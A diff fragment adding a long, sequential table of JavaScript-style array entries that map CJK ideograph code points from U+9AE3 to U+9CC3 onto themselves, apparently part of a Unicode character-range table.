+ ["\u9AE3", "\u9AE3"], /* CJK Ideograph */
+ ["\u9AE4", "\u9AE4"], /* CJK Ideograph */
+ ["\u9AE5", "\u9AE5"], /* CJK Ideograph */
+ ["\u9AE6", "\u9AE6"], /* CJK Ideograph */
+ ["\u9AE7", "\u9AE7"], /* CJK Ideograph */
+ ["\u9AE8", "\u9AE8"], /* CJK Ideograph */
+ ["\u9AE9", "\u9AE9"], /* CJK Ideograph */
+ ["\u9AEA", "\u9AEA"], /* CJK Ideograph */
+ ["\u9AEB", "\u9AEB"], /* CJK Ideograph */
+ ["\u9AEC", "\u9AEC"], /* CJK Ideograph */
+ ["\u9AED", "\u9AED"], /* CJK Ideograph */
+ ["\u9AEE", "\u9AEE"], /* CJK Ideograph */
+ ["\u9AEF", "\u9AEF"], /* CJK Ideograph */
+ ["\u9AF0", "\u9AF0"], /* CJK Ideograph */
+ ["\u9AF1", "\u9AF1"], /* CJK Ideograph */
+ ["\u9AF2", "\u9AF2"], /* CJK Ideograph */
+ ["\u9AF3", "\u9AF3"], /* CJK Ideograph */
+ ["\u9AF4", "\u9AF4"], /* CJK Ideograph */
+ ["\u9AF5", "\u9AF5"], /* CJK Ideograph */
+ ["\u9AF6", "\u9AF6"], /* CJK Ideograph */
+ ["\u9AF7", "\u9AF7"], /* CJK Ideograph */
+ ["\u9AF8", "\u9AF8"], /* CJK Ideograph */
+ ["\u9AF9", "\u9AF9"], /* CJK Ideograph */
+ ["\u9AFA", "\u9AFA"], /* CJK Ideograph */
+ ["\u9AFB", "\u9AFB"], /* CJK Ideograph */
+ ["\u9AFC", "\u9AFC"], /* CJK Ideograph */
+ ["\u9AFD", "\u9AFD"], /* CJK Ideograph */
+ ["\u9AFE", "\u9AFE"], /* CJK Ideograph */
+ ["\u9AFF", "\u9AFF"], /* CJK Ideograph */
+ ["\u9B00", "\u9B00"], /* CJK Ideograph */
+ ["\u9B01", "\u9B01"], /* CJK Ideograph */
+ ["\u9B02", "\u9B02"], /* CJK Ideograph */
+ ["\u9B03", "\u9B03"], /* CJK Ideograph */
+ ["\u9B04", "\u9B04"], /* CJK Ideograph */
+ ["\u9B05", "\u9B05"], /* CJK Ideograph */
+ ["\u9B06", "\u9B06"], /* CJK Ideograph */
+ ["\u9B07", "\u9B07"], /* CJK Ideograph */
+ ["\u9B08", "\u9B08"], /* CJK Ideograph */
+ ["\u9B09", "\u9B09"], /* CJK Ideograph */
+ ["\u9B0A", "\u9B0A"], /* CJK Ideograph */
+ ["\u9B0B", "\u9B0B"], /* CJK Ideograph */
+ ["\u9B0C", "\u9B0C"], /* CJK Ideograph */
+ ["\u9B0D", "\u9B0D"], /* CJK Ideograph */
+ ["\u9B0E", "\u9B0E"], /* CJK Ideograph */
+ ["\u9B0F", "\u9B0F"], /* CJK Ideograph */
+ ["\u9B10", "\u9B10"], /* CJK Ideograph */
+ ["\u9B11", "\u9B11"], /* CJK Ideograph */
+ ["\u9B12", "\u9B12"], /* CJK Ideograph */
+ ["\u9B13", "\u9B13"], /* CJK Ideograph */
+ ["\u9B14", "\u9B14"], /* CJK Ideograph */
+ ["\u9B15", "\u9B15"], /* CJK Ideograph */
+ ["\u9B16", "\u9B16"], /* CJK Ideograph */
+ ["\u9B17", "\u9B17"], /* CJK Ideograph */
+ ["\u9B18", "\u9B18"], /* CJK Ideograph */
+ ["\u9B19", "\u9B19"], /* CJK Ideograph */
+ ["\u9B1A", "\u9B1A"], /* CJK Ideograph */
+ ["\u9B1B", "\u9B1B"], /* CJK Ideograph */
+ ["\u9B1C", "\u9B1C"], /* CJK Ideograph */
+ ["\u9B1D", "\u9B1D"], /* CJK Ideograph */
+ ["\u9B1E", "\u9B1E"], /* CJK Ideograph */
+ ["\u9B1F", "\u9B1F"], /* CJK Ideograph */
+ ["\u9B20", "\u9B20"], /* CJK Ideograph */
+ ["\u9B21", "\u9B21"], /* CJK Ideograph */
+ ["\u9B22", "\u9B22"], /* CJK Ideograph */
+ ["\u9B23", "\u9B23"], /* CJK Ideograph */
+ ["\u9B24", "\u9B24"], /* CJK Ideograph */
+ ["\u9B25", "\u9B25"], /* CJK Ideograph */
+ ["\u9B26", "\u9B26"], /* CJK Ideograph */
+ ["\u9B27", "\u9B27"], /* CJK Ideograph */
+ ["\u9B28", "\u9B28"], /* CJK Ideograph */
+ ["\u9B29", "\u9B29"], /* CJK Ideograph */
+ ["\u9B2A", "\u9B2A"], /* CJK Ideograph */
+ ["\u9B2B", "\u9B2B"], /* CJK Ideograph */
+ ["\u9B2C", "\u9B2C"], /* CJK Ideograph */
+ ["\u9B2D", "\u9B2D"], /* CJK Ideograph */
+ ["\u9B2E", "\u9B2E"], /* CJK Ideograph */
+ ["\u9B2F", "\u9B2F"], /* CJK Ideograph */
+ ["\u9B30", "\u9B30"], /* CJK Ideograph */
+ ["\u9B31", "\u9B31"], /* CJK Ideograph */
+ ["\u9B32", "\u9B32"], /* CJK Ideograph */
+ ["\u9B33", "\u9B33"], /* CJK Ideograph */
+ ["\u9B34", "\u9B34"], /* CJK Ideograph */
+ ["\u9B35", "\u9B35"], /* CJK Ideograph */
+ ["\u9B36", "\u9B36"], /* CJK Ideograph */
+ ["\u9B37", "\u9B37"], /* CJK Ideograph */
+ ["\u9B38", "\u9B38"], /* CJK Ideograph */
+ ["\u9B39", "\u9B39"], /* CJK Ideograph */
+ ["\u9B3A", "\u9B3A"], /* CJK Ideograph */
+ ["\u9B3B", "\u9B3B"], /* CJK Ideograph */
+ ["\u9B3C", "\u9B3C"], /* CJK Ideograph */
+ ["\u9B3D", "\u9B3D"], /* CJK Ideograph */
+ ["\u9B3E", "\u9B3E"], /* CJK Ideograph */
+ ["\u9B3F", "\u9B3F"], /* CJK Ideograph */
+ ["\u9B40", "\u9B40"], /* CJK Ideograph */
+ ["\u9B41", "\u9B41"], /* CJK Ideograph */
+ ["\u9B42", "\u9B42"], /* CJK Ideograph */
+ ["\u9B43", "\u9B43"], /* CJK Ideograph */
+ ["\u9B44", "\u9B44"], /* CJK Ideograph */
+ ["\u9B45", "\u9B45"], /* CJK Ideograph */
+ ["\u9B46", "\u9B46"], /* CJK Ideograph */
+ ["\u9B47", "\u9B47"], /* CJK Ideograph */
+ ["\u9B48", "\u9B48"], /* CJK Ideograph */
+ ["\u9B49", "\u9B49"], /* CJK Ideograph */
+ ["\u9B4A", "\u9B4A"], /* CJK Ideograph */
+ ["\u9B4B", "\u9B4B"], /* CJK Ideograph */
+ ["\u9B4C", "\u9B4C"], /* CJK Ideograph */
+ ["\u9B4D", "\u9B4D"], /* CJK Ideograph */
+ ["\u9B4E", "\u9B4E"], /* CJK Ideograph */
+ ["\u9B4F", "\u9B4F"], /* CJK Ideograph */
+ ["\u9B50", "\u9B50"], /* CJK Ideograph */
+ ["\u9B51", "\u9B51"], /* CJK Ideograph */
+ ["\u9B52", "\u9B52"], /* CJK Ideograph */
+ ["\u9B53", "\u9B53"], /* CJK Ideograph */
+ ["\u9B54", "\u9B54"], /* CJK Ideograph */
+ ["\u9B55", "\u9B55"], /* CJK Ideograph */
+ ["\u9B56", "\u9B56"], /* CJK Ideograph */
+ ["\u9B57", "\u9B57"], /* CJK Ideograph */
+ ["\u9B58", "\u9B58"], /* CJK Ideograph */
+ ["\u9B59", "\u9B59"], /* CJK Ideograph */
+ ["\u9B5A", "\u9B5A"], /* CJK Ideograph */
+ ["\u9B5B", "\u9B5B"], /* CJK Ideograph */
+ ["\u9B5C", "\u9B5C"], /* CJK Ideograph */
+ ["\u9B5D", "\u9B5D"], /* CJK Ideograph */
+ ["\u9B5E", "\u9B5E"], /* CJK Ideograph */
+ ["\u9B5F", "\u9B5F"], /* CJK Ideograph */
+ ["\u9B60", "\u9B60"], /* CJK Ideograph */
+ ["\u9B61", "\u9B61"], /* CJK Ideograph */
+ ["\u9B62", "\u9B62"], /* CJK Ideograph */
+ ["\u9B63", "\u9B63"], /* CJK Ideograph */
+ ["\u9B64", "\u9B64"], /* CJK Ideograph */
+ ["\u9B65", "\u9B65"], /* CJK Ideograph */
+ ["\u9B66", "\u9B66"], /* CJK Ideograph */
+ ["\u9B67", "\u9B67"], /* CJK Ideograph */
+ ["\u9B68", "\u9B68"], /* CJK Ideograph */
+ ["\u9B69", "\u9B69"], /* CJK Ideograph */
+ ["\u9B6A", "\u9B6A"], /* CJK Ideograph */
+ ["\u9B6B", "\u9B6B"], /* CJK Ideograph */
+ ["\u9B6C", "\u9B6C"], /* CJK Ideograph */
+ ["\u9B6D", "\u9B6D"], /* CJK Ideograph */
+ ["\u9B6E", "\u9B6E"], /* CJK Ideograph */
+ ["\u9B6F", "\u9B6F"], /* CJK Ideograph */
+ ["\u9B70", "\u9B70"], /* CJK Ideograph */
+ ["\u9B71", "\u9B71"], /* CJK Ideograph */
+ ["\u9B72", "\u9B72"], /* CJK Ideograph */
+ ["\u9B73", "\u9B73"], /* CJK Ideograph */
+ ["\u9B74", "\u9B74"], /* CJK Ideograph */
+ ["\u9B75", "\u9B75"], /* CJK Ideograph */
+ ["\u9B76", "\u9B76"], /* CJK Ideograph */
+ ["\u9B77", "\u9B77"], /* CJK Ideograph */
+ ["\u9B78", "\u9B78"], /* CJK Ideograph */
+ ["\u9B79", "\u9B79"], /* CJK Ideograph */
+ ["\u9B7A", "\u9B7A"], /* CJK Ideograph */
+ ["\u9B7B", "\u9B7B"], /* CJK Ideograph */
+ ["\u9B7C", "\u9B7C"], /* CJK Ideograph */
+ ["\u9B7D", "\u9B7D"], /* CJK Ideograph */
+ ["\u9B7E", "\u9B7E"], /* CJK Ideograph */
+ ["\u9B7F", "\u9B7F"], /* CJK Ideograph */
+ ["\u9B80", "\u9B80"], /* CJK Ideograph */
+ ["\u9B81", "\u9B81"], /* CJK Ideograph */
+ ["\u9B82", "\u9B82"], /* CJK Ideograph */
+ ["\u9B83", "\u9B83"], /* CJK Ideograph */
+ ["\u9B84", "\u9B84"], /* CJK Ideograph */
+ ["\u9B85", "\u9B85"], /* CJK Ideograph */
+ ["\u9B86", "\u9B86"], /* CJK Ideograph */
+ ["\u9B87", "\u9B87"], /* CJK Ideograph */
+ ["\u9B88", "\u9B88"], /* CJK Ideograph */
+ ["\u9B89", "\u9B89"], /* CJK Ideograph */
+ ["\u9B8A", "\u9B8A"], /* CJK Ideograph */
+ ["\u9B8B", "\u9B8B"], /* CJK Ideograph */
+ ["\u9B8C", "\u9B8C"], /* CJK Ideograph */
+ ["\u9B8D", "\u9B8D"], /* CJK Ideograph */
+ ["\u9B8E", "\u9B8E"], /* CJK Ideograph */
+ ["\u9B8F", "\u9B8F"], /* CJK Ideograph */
+ ["\u9B90", "\u9B90"], /* CJK Ideograph */
+ ["\u9B91", "\u9B91"], /* CJK Ideograph */
+ ["\u9B92", "\u9B92"], /* CJK Ideograph */
+ ["\u9B93", "\u9B93"], /* CJK Ideograph */
+ ["\u9B94", "\u9B94"], /* CJK Ideograph */
+ ["\u9B95", "\u9B95"], /* CJK Ideograph */
+ ["\u9B96", "\u9B96"], /* CJK Ideograph */
+ ["\u9B97", "\u9B97"], /* CJK Ideograph */
+ ["\u9B98", "\u9B98"], /* CJK Ideograph */
+ ["\u9B99", "\u9B99"], /* CJK Ideograph */
+ ["\u9B9A", "\u9B9A"], /* CJK Ideograph */
+ ["\u9B9B", "\u9B9B"], /* CJK Ideograph */
+ ["\u9B9C", "\u9B9C"], /* CJK Ideograph */
+ ["\u9B9D", "\u9B9D"], /* CJK Ideograph */
+ ["\u9B9E", "\u9B9E"], /* CJK Ideograph */
+ ["\u9B9F", "\u9B9F"], /* CJK Ideograph */
+ ["\u9BA0", "\u9BA0"], /* CJK Ideograph */
+ ["\u9BA1", "\u9BA1"], /* CJK Ideograph */
+ ["\u9BA2", "\u9BA2"], /* CJK Ideograph */
+ ["\u9BA3", "\u9BA3"], /* CJK Ideograph */
+ ["\u9BA4", "\u9BA4"], /* CJK Ideograph */
+ ["\u9BA5", "\u9BA5"], /* CJK Ideograph */
+ ["\u9BA6", "\u9BA6"], /* CJK Ideograph */
+ ["\u9BA7", "\u9BA7"], /* CJK Ideograph */
+ ["\u9BA8", "\u9BA8"], /* CJK Ideograph */
+ ["\u9BA9", "\u9BA9"], /* CJK Ideograph */
+ ["\u9BAA", "\u9BAA"], /* CJK Ideograph */
+ ["\u9BAB", "\u9BAB"], /* CJK Ideograph */
+ ["\u9BAC", "\u9BAC"], /* CJK Ideograph */
+ ["\u9BAD", "\u9BAD"], /* CJK Ideograph */
+ ["\u9BAE", "\u9BAE"], /* CJK Ideograph */
+ ["\u9BAF", "\u9BAF"], /* CJK Ideograph */
+ ["\u9BB0", "\u9BB0"], /* CJK Ideograph */
+ ["\u9BB1", "\u9BB1"], /* CJK Ideograph */
+ ["\u9BB2", "\u9BB2"], /* CJK Ideograph */
+ ["\u9BB3", "\u9BB3"], /* CJK Ideograph */
+ ["\u9BB4", "\u9BB4"], /* CJK Ideograph */
+ ["\u9BB5", "\u9BB5"], /* CJK Ideograph */
+ ["\u9BB6", "\u9BB6"], /* CJK Ideograph */
+ ["\u9BB7", "\u9BB7"], /* CJK Ideograph */
+ ["\u9BB8", "\u9BB8"], /* CJK Ideograph */
+ ["\u9BB9", "\u9BB9"], /* CJK Ideograph */
+ ["\u9BBA", "\u9BBA"], /* CJK Ideograph */
+ ["\u9BBB", "\u9BBB"], /* CJK Ideograph */
+ ["\u9BBC", "\u9BBC"], /* CJK Ideograph */
+ ["\u9BBD", "\u9BBD"], /* CJK Ideograph */
+ ["\u9BBE", "\u9BBE"], /* CJK Ideograph */
+ ["\u9BBF", "\u9BBF"], /* CJK Ideograph */
+ ["\u9BC0", "\u9BC0"], /* CJK Ideograph */
+ ["\u9BC1", "\u9BC1"], /* CJK Ideograph */
+ ["\u9BC2", "\u9BC2"], /* CJK Ideograph */
+ ["\u9BC3", "\u9BC3"], /* CJK Ideograph */
+ ["\u9BC4", "\u9BC4"], /* CJK Ideograph */
+ ["\u9BC5", "\u9BC5"], /* CJK Ideograph */
+ ["\u9BC6", "\u9BC6"], /* CJK Ideograph */
+ ["\u9BC7", "\u9BC7"], /* CJK Ideograph */
+ ["\u9BC8", "\u9BC8"], /* CJK Ideograph */
+ ["\u9BC9", "\u9BC9"], /* CJK Ideograph */
+ ["\u9BCA", "\u9BCA"], /* CJK Ideograph */
+ ["\u9BCB", "\u9BCB"], /* CJK Ideograph */
+ ["\u9BCC", "\u9BCC"], /* CJK Ideograph */
+ ["\u9BCD", "\u9BCD"], /* CJK Ideograph */
+ ["\u9BCE", "\u9BCE"], /* CJK Ideograph */
+ ["\u9BCF", "\u9BCF"], /* CJK Ideograph */
+ ["\u9BD0", "\u9BD0"], /* CJK Ideograph */
+ ["\u9BD1", "\u9BD1"], /* CJK Ideograph */
+ ["\u9BD2", "\u9BD2"], /* CJK Ideograph */
+ ["\u9BD3", "\u9BD3"], /* CJK Ideograph */
+ ["\u9BD4", "\u9BD4"], /* CJK Ideograph */
+ ["\u9BD5", "\u9BD5"], /* CJK Ideograph */
+ ["\u9BD6", "\u9BD6"], /* CJK Ideograph */
+ ["\u9BD7", "\u9BD7"], /* CJK Ideograph */
+ ["\u9BD8", "\u9BD8"], /* CJK Ideograph */
+ ["\u9BD9", "\u9BD9"], /* CJK Ideograph */
+ ["\u9BDA", "\u9BDA"], /* CJK Ideograph */
+ ["\u9BDB", "\u9BDB"], /* CJK Ideograph */
+ ["\u9BDC", "\u9BDC"], /* CJK Ideograph */
+ ["\u9BDD", "\u9BDD"], /* CJK Ideograph */
+ ["\u9BDE", "\u9BDE"], /* CJK Ideograph */
+ ["\u9BDF", "\u9BDF"], /* CJK Ideograph */
+ ["\u9BE0", "\u9BE0"], /* CJK Ideograph */
+ ["\u9BE1", "\u9BE1"], /* CJK Ideograph */
+ ["\u9BE2", "\u9BE2"], /* CJK Ideograph */
+ ["\u9BE3", "\u9BE3"], /* CJK Ideograph */
+ ["\u9BE4", "\u9BE4"], /* CJK Ideograph */
+ ["\u9BE5", "\u9BE5"], /* CJK Ideograph */
+ ["\u9BE6", "\u9BE6"], /* CJK Ideograph */
+ ["\u9BE7", "\u9BE7"], /* CJK Ideograph */
+ ["\u9BE8", "\u9BE8"], /* CJK Ideograph */
+ ["\u9BE9", "\u9BE9"], /* CJK Ideograph */
+ ["\u9BEA", "\u9BEA"], /* CJK Ideograph */
+ ["\u9BEB", "\u9BEB"], /* CJK Ideograph */
+ ["\u9BEC", "\u9BEC"], /* CJK Ideograph */
+ ["\u9BED", "\u9BED"], /* CJK Ideograph */
+ ["\u9BEE", "\u9BEE"], /* CJK Ideograph */
+ ["\u9BEF", "\u9BEF"], /* CJK Ideograph */
+ ["\u9BF0", "\u9BF0"], /* CJK Ideograph */
+ ["\u9BF1", "\u9BF1"], /* CJK Ideograph */
+ ["\u9BF2", "\u9BF2"], /* CJK Ideograph */
+ ["\u9BF3", "\u9BF3"], /* CJK Ideograph */
+ ["\u9BF4", "\u9BF4"], /* CJK Ideograph */
+ ["\u9BF5", "\u9BF5"], /* CJK Ideograph */
+ ["\u9BF6", "\u9BF6"], /* CJK Ideograph */
+ ["\u9BF7", "\u9BF7"], /* CJK Ideograph */
+ ["\u9BF8", "\u9BF8"], /* CJK Ideograph */
+ ["\u9BF9", "\u9BF9"], /* CJK Ideograph */
+ ["\u9BFA", "\u9BFA"], /* CJK Ideograph */
+ ["\u9BFB", "\u9BFB"], /* CJK Ideograph */
+ ["\u9BFC", "\u9BFC"], /* CJK Ideograph */
+ ["\u9BFD", "\u9BFD"], /* CJK Ideograph */
+ ["\u9BFE", "\u9BFE"], /* CJK Ideograph */
+ ["\u9BFF", "\u9BFF"], /* CJK Ideograph */
+ ["\u9C00", "\u9C00"], /* CJK Ideograph */
+ ["\u9C01", "\u9C01"], /* CJK Ideograph */
+ ["\u9C02", "\u9C02"], /* CJK Ideograph */
+ ["\u9C03", "\u9C03"], /* CJK Ideograph */
+ ["\u9C04", "\u9C04"], /* CJK Ideograph */
+ ["\u9C05", "\u9C05"], /* CJK Ideograph */
+ ["\u9C06", "\u9C06"], /* CJK Ideograph */
+ ["\u9C07", "\u9C07"], /* CJK Ideograph */
+ ["\u9C08", "\u9C08"], /* CJK Ideograph */
+ ["\u9C09", "\u9C09"], /* CJK Ideograph */
+ ["\u9C0A", "\u9C0A"], /* CJK Ideograph */
+ ["\u9C0B", "\u9C0B"], /* CJK Ideograph */
+ ["\u9C0C", "\u9C0C"], /* CJK Ideograph */
+ ["\u9C0D", "\u9C0D"], /* CJK Ideograph */
+ ["\u9C0E", "\u9C0E"], /* CJK Ideograph */
+ ["\u9C0F", "\u9C0F"], /* CJK Ideograph */
+ ["\u9C10", "\u9C10"], /* CJK Ideograph */
+ ["\u9C11", "\u9C11"], /* CJK Ideograph */
+ ["\u9C12", "\u9C12"], /* CJK Ideograph */
+ ["\u9C13", "\u9C13"], /* CJK Ideograph */
+ ["\u9C14", "\u9C14"], /* CJK Ideograph */
+ ["\u9C15", "\u9C15"], /* CJK Ideograph */
+ ["\u9C16", "\u9C16"], /* CJK Ideograph */
+ ["\u9C17", "\u9C17"], /* CJK Ideograph */
+ ["\u9C18", "\u9C18"], /* CJK Ideograph */
+ ["\u9C19", "\u9C19"], /* CJK Ideograph */
+ ["\u9C1A", "\u9C1A"], /* CJK Ideograph */
+ ["\u9C1B", "\u9C1B"], /* CJK Ideograph */
+ ["\u9C1C", "\u9C1C"], /* CJK Ideograph */
+ ["\u9C1D", "\u9C1D"], /* CJK Ideograph */
+ ["\u9C1E", "\u9C1E"], /* CJK Ideograph */
+ ["\u9C1F", "\u9C1F"], /* CJK Ideograph */
+ ["\u9C20", "\u9C20"], /* CJK Ideograph */
+ ["\u9C21", "\u9C21"], /* CJK Ideograph */
+ ["\u9C22", "\u9C22"], /* CJK Ideograph */
+ ["\u9C23", "\u9C23"], /* CJK Ideograph */
+ ["\u9C24", "\u9C24"], /* CJK Ideograph */
+ ["\u9C25", "\u9C25"], /* CJK Ideograph */
+ ["\u9C26", "\u9C26"], /* CJK Ideograph */
+ ["\u9C27", "\u9C27"], /* CJK Ideograph */
+ ["\u9C28", "\u9C28"], /* CJK Ideograph */
+ ["\u9C29", "\u9C29"], /* CJK Ideograph */
+ ["\u9C2A", "\u9C2A"], /* CJK Ideograph */
+ ["\u9C2B", "\u9C2B"], /* CJK Ideograph */
+ ["\u9C2C", "\u9C2C"], /* CJK Ideograph */
+ ["\u9C2D", "\u9C2D"], /* CJK Ideograph */
+ ["\u9C2E", "\u9C2E"], /* CJK Ideograph */
+ ["\u9C2F", "\u9C2F"], /* CJK Ideograph */
+ ["\u9C30", "\u9C30"], /* CJK Ideograph */
+ ["\u9C31", "\u9C31"], /* CJK Ideograph */
+ ["\u9C32", "\u9C32"], /* CJK Ideograph */
+ ["\u9C33", "\u9C33"], /* CJK Ideograph */
+ ["\u9C34", "\u9C34"], /* CJK Ideograph */
+ ["\u9C35", "\u9C35"], /* CJK Ideograph */
+ ["\u9C36", "\u9C36"], /* CJK Ideograph */
+ ["\u9C37", "\u9C37"], /* CJK Ideograph */
+ ["\u9C38", "\u9C38"], /* CJK Ideograph */
+ ["\u9C39", "\u9C39"], /* CJK Ideograph */
+ ["\u9C3A", "\u9C3A"], /* CJK Ideograph */
+ ["\u9C3B", "\u9C3B"], /* CJK Ideograph */
+ ["\u9C3C", "\u9C3C"], /* CJK Ideograph */
+ ["\u9C3D", "\u9C3D"], /* CJK Ideograph */
+ ["\u9C3E", "\u9C3E"], /* CJK Ideograph */
+ ["\u9C3F", "\u9C3F"], /* CJK Ideograph */
+ ["\u9C40", "\u9C40"], /* CJK Ideograph */
+ ["\u9C41", "\u9C41"], /* CJK Ideograph */
+ ["\u9C42", "\u9C42"], /* CJK Ideograph */
+ ["\u9C43", "\u9C43"], /* CJK Ideograph */
+ ["\u9C44", "\u9C44"], /* CJK Ideograph */
+ ["\u9C45", "\u9C45"], /* CJK Ideograph */
+ ["\u9C46", "\u9C46"], /* CJK Ideograph */
+ ["\u9C47", "\u9C47"], /* CJK Ideograph */
+ ["\u9C48", "\u9C48"], /* CJK Ideograph */
+ ["\u9C49", "\u9C49"], /* CJK Ideograph */
+ ["\u9C4A", "\u9C4A"], /* CJK Ideograph */
+ ["\u9C4B", "\u9C4B"], /* CJK Ideograph */
+ ["\u9C4C", "\u9C4C"], /* CJK Ideograph */
+ ["\u9C4D", "\u9C4D"], /* CJK Ideograph */
+ ["\u9C4E", "\u9C4E"], /* CJK Ideograph */
+ ["\u9C4F", "\u9C4F"], /* CJK Ideograph */
+ ["\u9C50", "\u9C50"], /* CJK Ideograph */
+ ["\u9C51", "\u9C51"], /* CJK Ideograph */
+ ["\u9C52", "\u9C52"], /* CJK Ideograph */
+ ["\u9C53", "\u9C53"], /* CJK Ideograph */
+ ["\u9C54", "\u9C54"], /* CJK Ideograph */
+ ["\u9C55", "\u9C55"], /* CJK Ideograph */
+ ["\u9C56", "\u9C56"], /* CJK Ideograph */
+ ["\u9C57", "\u9C57"], /* CJK Ideograph */
+ ["\u9C58", "\u9C58"], /* CJK Ideograph */
+ ["\u9C59", "\u9C59"], /* CJK Ideograph */
+ ["\u9C5A", "\u9C5A"], /* CJK Ideograph */
+ ["\u9C5B", "\u9C5B"], /* CJK Ideograph */
+ ["\u9C5C", "\u9C5C"], /* CJK Ideograph */
+ ["\u9C5D", "\u9C5D"], /* CJK Ideograph */
+ ["\u9C5E", "\u9C5E"], /* CJK Ideograph */
+ ["\u9C5F", "\u9C5F"], /* CJK Ideograph */
+ ["\u9C60", "\u9C60"], /* CJK Ideograph */
+ ["\u9C61", "\u9C61"], /* CJK Ideograph */
+ ["\u9C62", "\u9C62"], /* CJK Ideograph */
+ ["\u9C63", "\u9C63"], /* CJK Ideograph */
+ ["\u9C64", "\u9C64"], /* CJK Ideograph */
+ ["\u9C65", "\u9C65"], /* CJK Ideograph */
+ ["\u9C66", "\u9C66"], /* CJK Ideograph */
+ ["\u9C67", "\u9C67"], /* CJK Ideograph */
+ ["\u9C68", "\u9C68"], /* CJK Ideograph */
+ ["\u9C69", "\u9C69"], /* CJK Ideograph */
+ ["\u9C6A", "\u9C6A"], /* CJK Ideograph */
+ ["\u9C6B", "\u9C6B"], /* CJK Ideograph */
+ ["\u9C6C", "\u9C6C"], /* CJK Ideograph */
+ ["\u9C6D", "\u9C6D"], /* CJK Ideograph */
+ ["\u9C6E", "\u9C6E"], /* CJK Ideograph */
+ ["\u9C6F", "\u9C6F"], /* CJK Ideograph */
+ ["\u9C70", "\u9C70"], /* CJK Ideograph */
+ ["\u9C71", "\u9C71"], /* CJK Ideograph */
+ ["\u9C72", "\u9C72"], /* CJK Ideograph */
+ ["\u9C73", "\u9C73"], /* CJK Ideograph */
+ ["\u9C74", "\u9C74"], /* CJK Ideograph */
+ ["\u9C75", "\u9C75"], /* CJK Ideograph */
+ ["\u9C76", "\u9C76"], /* CJK Ideograph */
+ ["\u9C77", "\u9C77"], /* CJK Ideograph */
+ ["\u9C78", "\u9C78"], /* CJK Ideograph */
+ ["\u9C79", "\u9C79"], /* CJK Ideograph */
+ ["\u9C7A", "\u9C7A"], /* CJK Ideograph */
+ ["\u9C7B", "\u9C7B"], /* CJK Ideograph */
+ ["\u9C7C", "\u9C7C"], /* CJK Ideograph */
+ ["\u9C7D", "\u9C7D"], /* CJK Ideograph */
+ ["\u9C7E", "\u9C7E"], /* CJK Ideograph */
+ ["\u9C7F", "\u9C7F"], /* CJK Ideograph */
+ ["\u9C80", "\u9C80"], /* CJK Ideograph */
+ ["\u9C81", "\u9C81"], /* CJK Ideograph */
+ ["\u9C82", "\u9C82"], /* CJK Ideograph */
+ ["\u9C83", "\u9C83"], /* CJK Ideograph */
+ ["\u9C84", "\u9C84"], /* CJK Ideograph */
+ ["\u9C85", "\u9C85"], /* CJK Ideograph */
+ ["\u9C86", "\u9C86"], /* CJK Ideograph */
+ ["\u9C87", "\u9C87"], /* CJK Ideograph */
+ ["\u9C88", "\u9C88"], /* CJK Ideograph */
+ ["\u9C89", "\u9C89"], /* CJK Ideograph */
+ ["\u9C8A", "\u9C8A"], /* CJK Ideograph */
+ ["\u9C8B", "\u9C8B"], /* CJK Ideograph */
+ ["\u9C8C", "\u9C8C"], /* CJK Ideograph */
+ ["\u9C8D", "\u9C8D"], /* CJK Ideograph */
+ ["\u9C8E", "\u9C8E"], /* CJK Ideograph */
+ ["\u9C8F", "\u9C8F"], /* CJK Ideograph */
+ ["\u9C90", "\u9C90"], /* CJK Ideograph */
+ ["\u9C91", "\u9C91"], /* CJK Ideograph */
+ ["\u9C92", "\u9C92"], /* CJK Ideograph */
+ ["\u9C93", "\u9C93"], /* CJK Ideograph */
+ ["\u9C94", "\u9C94"], /* CJK Ideograph */
+ ["\u9C95", "\u9C95"], /* CJK Ideograph */
+ ["\u9C96", "\u9C96"], /* CJK Ideograph */
+ ["\u9C97", "\u9C97"], /* CJK Ideograph */
+ ["\u9C98", "\u9C98"], /* CJK Ideograph */
+ ["\u9C99", "\u9C99"], /* CJK Ideograph */
+ ["\u9C9A", "\u9C9A"], /* CJK Ideograph */
+ ["\u9C9B", "\u9C9B"], /* CJK Ideograph */
+ ["\u9C9C", "\u9C9C"], /* CJK Ideograph */
+ ["\u9C9D", "\u9C9D"], /* CJK Ideograph */
+ ["\u9C9E", "\u9C9E"], /* CJK Ideograph */
+ ["\u9C9F", "\u9C9F"], /* CJK Ideograph */
+ ["\u9CA0", "\u9CA0"], /* CJK Ideograph */
+ ["\u9CA1", "\u9CA1"], /* CJK Ideograph */
+ ["\u9CA2", "\u9CA2"], /* CJK Ideograph */
+ ["\u9CA3", "\u9CA3"], /* CJK Ideograph */
+ ["\u9CA4", "\u9CA4"], /* CJK Ideograph */
+ ["\u9CA5", "\u9CA5"], /* CJK Ideograph */
+ ["\u9CA6", "\u9CA6"], /* CJK Ideograph */
+ ["\u9CA7", "\u9CA7"], /* CJK Ideograph */
+ ["\u9CA8", "\u9CA8"], /* CJK Ideograph */
+ ["\u9CA9", "\u9CA9"], /* CJK Ideograph */
+ ["\u9CAA", "\u9CAA"], /* CJK Ideograph */
+ ["\u9CAB", "\u9CAB"], /* CJK Ideograph */
+ ["\u9CAC", "\u9CAC"], /* CJK Ideograph */
+ ["\u9CAD", "\u9CAD"], /* CJK Ideograph */
+ ["\u9CAE", "\u9CAE"], /* CJK Ideograph */
+ ["\u9CAF", "\u9CAF"], /* CJK Ideograph */
+ ["\u9CB0", "\u9CB0"], /* CJK Ideograph */
+ ["\u9CB1", "\u9CB1"], /* CJK Ideograph */
+ ["\u9CB2", "\u9CB2"], /* CJK Ideograph */
+ ["\u9CB3", "\u9CB3"], /* CJK Ideograph */
+ ["\u9CB4", "\u9CB4"], /* CJK Ideograph */
+ ["\u9CB5", "\u9CB5"], /* CJK Ideograph */
+ ["\u9CB6", "\u9CB6"], /* CJK Ideograph */
+ ["\u9CB7", "\u9CB7"], /* CJK Ideograph */
+ ["\u9CB8", "\u9CB8"], /* CJK Ideograph */
+ ["\u9CB9", "\u9CB9"], /* CJK Ideograph */
+ ["\u9CBA", "\u9CBA"], /* CJK Ideograph */
+ ["\u9CBB", "\u9CBB"], /* CJK Ideograph */
+ ["\u9CBC", "\u9CBC"], /* CJK Ideograph */
+ ["\u9CBD", "\u9CBD"], /* CJK Ideograph */
+ ["\u9CBE", "\u9CBE"], /* CJK Ideograph */
+ ["\u9CBF", "\u9CBF"], /* CJK Ideograph */
+ ["\u9CC0", "\u9CC0"], /* CJK Ideograph */
+ ["\u9CC1", "\u9CC1"], /* CJK Ideograph */
+ ["\u9CC2", "\u9CC2"], /* CJK Ideograph */
+ ["\u9CC3", "\u9CC3"], /* CJK Ideograph */
